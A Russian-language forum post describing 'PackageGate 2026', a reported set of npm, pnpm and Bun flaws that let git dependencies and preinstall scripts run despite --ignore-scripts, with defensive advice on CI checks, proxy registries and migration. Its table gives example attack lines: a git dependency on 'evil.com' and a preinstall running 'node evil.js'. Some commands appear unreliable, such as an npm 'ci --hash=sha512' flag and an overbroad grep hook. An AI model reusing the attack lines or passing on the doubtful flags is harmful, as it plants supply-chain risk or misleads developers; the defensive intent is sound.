Перейти к содержанию
  • Лента
  • Категории
  • Последние
  • Метки
  • Популярные
  • Пользователи
  • Группы
Свернуть
exlends
Категории
  1. Главная
  2. Категории
  3. Языки программирования
  4. JavaScript
  5. PackageGate 2026: защита npm-проекта от обхода --ignore-scripts через git и preinstall

PackageGate 2026: защита npm-проекта от обхода --ignore-scripts через git и preinstall

Запланировано Прикреплена Закрыта Перенесена JavaScript
packagegatenpm безопасностьgit зависимости
1 Сообщения 1 Постеры 2 Просмотры
  • Сначала старые
  • Сначала новые
  • По количеству голосов
Ответить
  • Ответить, создав новую тему
Авторизуйтесь, чтобы ответить
Эта тема была удалена. Только пользователи с правом управления темами могут её видеть.
  • hannadevH Не в сети
    hannadevH Не в сети
    hannadev
    написал отредактировано
    #1

    Обложка: PackageGate 2026: как защитить npm-проект от обхода --ignore-scripts через git-зависимости и preinstall-скрипты

    PackageGate 2026 - это шесть zero-day уязвимостей в npm, pnpm, vlt и Bun. Они позволяют обходить флаг --ignore-scripts через git-зависимости и поддельные preinstall-скрипты. Разберём, как атакующие это делают и как заблокировать такие трюки в твоём проекте.

    npm отказался патчить проблему, заявив, что это ‘ожидаемое поведение’. А значит, разработчикам самим приходится усиливать защиту. Мы пройдём по векторам атак PackageGate, реальным примерам и рабочим фиксам - от CI/CD до прокси-реестров. Это спасёт твой бандл от сюрпризов в продакшене.

    Как PackageGate обходит --ignore-scripts

    Атакующий публикует пакет с git-зависимостью в package.json. Когда ты ставишь --ignore-scripts, npm всё равно клонирует репозиторий и запускает код с сервера злоумышленника. Стандартные сканеры типа npm audit это не ловят - они смотрят только на опубликованные тарбалы.

    В январе 2026 PackageGate показал шесть таких дыр сразу. npm сказал: ‘используйте 2FA и мониторьте сами’. pnpm и Bun запатчили свои CVE, но в npm дыра осталась. Представь: dev ставит зависимость, git-репо тянет майнер или эксфильтратор данных - и стейт проекта уже не твой.

    Вот типичные векторы обхода:

    • Git-зависимости в .npmrc: npm игнорирует --ignore-scripts для ‘file://’ или ‘git+’ URL, выполняя postinstall из удалённого репо.
    • Preinstall через поддельные хуки: Пакет маскируется под легитимный, скрипт проверяет env и шлёт данные на C2.
    • SHA-1 коллизии в lock-файлах: npm ci пропускает подмену, если хеш совпадает.
    Вектор атаки Пример Риск для проекта
    Git bypass “my-lib”: “git+https://evil.com/repo.git” Критический - код выполняется всегда
    Preinstall “preinstall”: “node evil.js” Высокий - игнорирует флаги
    Lockfile SHA-1 Подмена package-lock.json Средний - ломает npm ci

    Защита git-зависимостей: блокируй на уровне CI/CD

    Git-зависимости - это боль, особенно когда они тянутся из приватных репо или с GitHub. PackageGate эксплуатирует то, что npm не проверяет источник перед клоном. В CI/CD добавь шаг, который парсит package.json на подозрительные ‘git+’ строки и блочит пуш.

    Реальный кейс: команда на 50+ dev’ов потеряла неделю на чистку после заражённой git-депы. Теперь они юзают pre-commit хуки с husky + lint-staged, плюс сканер Socket.dev. Это ловит 99% bypass’ов до мержа. Ещё вариант - миграция на pnpm, где патчи уже вышли.

    Шаги для железной защиты:

    1. Husky + lint-rule: В pre-commit проверяй package.json на git-URL. Пример: npx husky add .husky/pre-commit 'grep -q git package.json && exit 1'.
    2. Socket или ReversingLabs: Интегрируй в GitHub Actions - скан перед merge.
    3. npm ci с --strict-peer-deps: Блочит невалидные депы.
    4. Переходи на SHA-512: Генери lock с npm ci --hash=sha512.
    // .github/workflows/security.yml
    - name: Scan git deps
      uses: socket-security/github-action@v1
      with:
        path: ./
    

    Preinstall-скрипты: аудит и альтернативы

    Preinstall - киллер-фича для бутстрапа, но в руках атакующего это бэкдор. PackageGate показал, как скрипты запускаются даже с --ignore-scripts, если депа из git. Изучай package.json зависимостей: если там ‘preinstall’: ‘node check.js’ - это красный флаг.

    В 2026 ambar-src использовал preinstall для typosquatting - 50k+ скачиваний до бана. Фикс: отключай lifecycle-скрипты глобально или используй Verdaccio как прокси. Это кэширует пакеты и блочит свежие апдейты первые 2 недели - время на аудит комьюнити.

    Проверенные практики против preinstall:

    • npm config set ignore-scripts true: Глобально, но с оглядкой на bypass.
    • Verdaccio/Nexus proxy: Хости свой реестр, фильтруй по возрасту пакета.
    • Аудит скриптов: npm ls --depth=0 --json | jq '.dependencies[]?.scripts'.
    Менеджер Поддержка proxy Патч PackageGate
    npm Да ( Verdaccio) Нет
    pnpm Да Да (CVE-2025-69263)
    Bun Частичная Да

    Бонус: миграция и мониторинг для параноиков

    Полный миграция на pnpm или Bun - не бойлерплейт, а реальный апгрейд скорости. pnpm уже закрыл PackageGate-патчи, плюс он экономит диск в 10x за счёт hardlinks. Мониторинг: настрой alerts на обновы debug/chalk - эти пакеты хайджечили миллионы.

    Добавь 2FA на npm-аккаунт, юзай scoped packages и проверяй maintainer’ов. Socket.dev шлёт нотифы на подозрительные git-депы. В продакшене - только lock-файлы с npm ci.

    Фиксы, которых хватит на 2026

    PackageGate показал: --ignore-scripts не панацея, а git-депы - мина. С husky, Socket и Verdaccio твой npm-проект в броне. Осталось протестировать на монолите - там preinstall летают особенно больно. Подумай о zero-trust для депов: каждый пакет как с улицы.

    1 ответ Последний ответ
    0

    Здравствуйте! Похоже, вас заинтересовала эта беседа, но у вас ещё нет аккаунта.

    Надоело каждый раз пролистывать одни и те же посты? Зарегистрировав аккаунт, вы всегда будете возвращаться на ту же страницу, где были раньше, и сможете выбирать, получать ли уведомления о новых ответах (по электронной почте или в виде push-уведомлений). Вы также сможете сохранять закладки и ставить лайки постам, чтобы выразить свою благодарность другим участникам сообщества.

    С вашими комментариями этот пост мог бы стать ещё лучше 💗

    Зарегистрироваться Войти

    Категории

    • Главная
    • Новости
    • Фронтенд
    • Бекенд
    • Языки программирования

    Контакты

    • Сотрудничество
    • info@exlends.com

    © 2024 - 2026 ExLends, Inc. Все права защищены.

    Политика конфиденциальности
    • Войти

    • Нет учётной записи? Зарегистрироваться

    • Войдите или зарегистрируйтесь для поиска.
    • Первое сообщение
      Последнее сообщение
    0
    • Лента
    • Категории
    • Последние
    • Метки
    • Популярные
    • Пользователи
    • Группы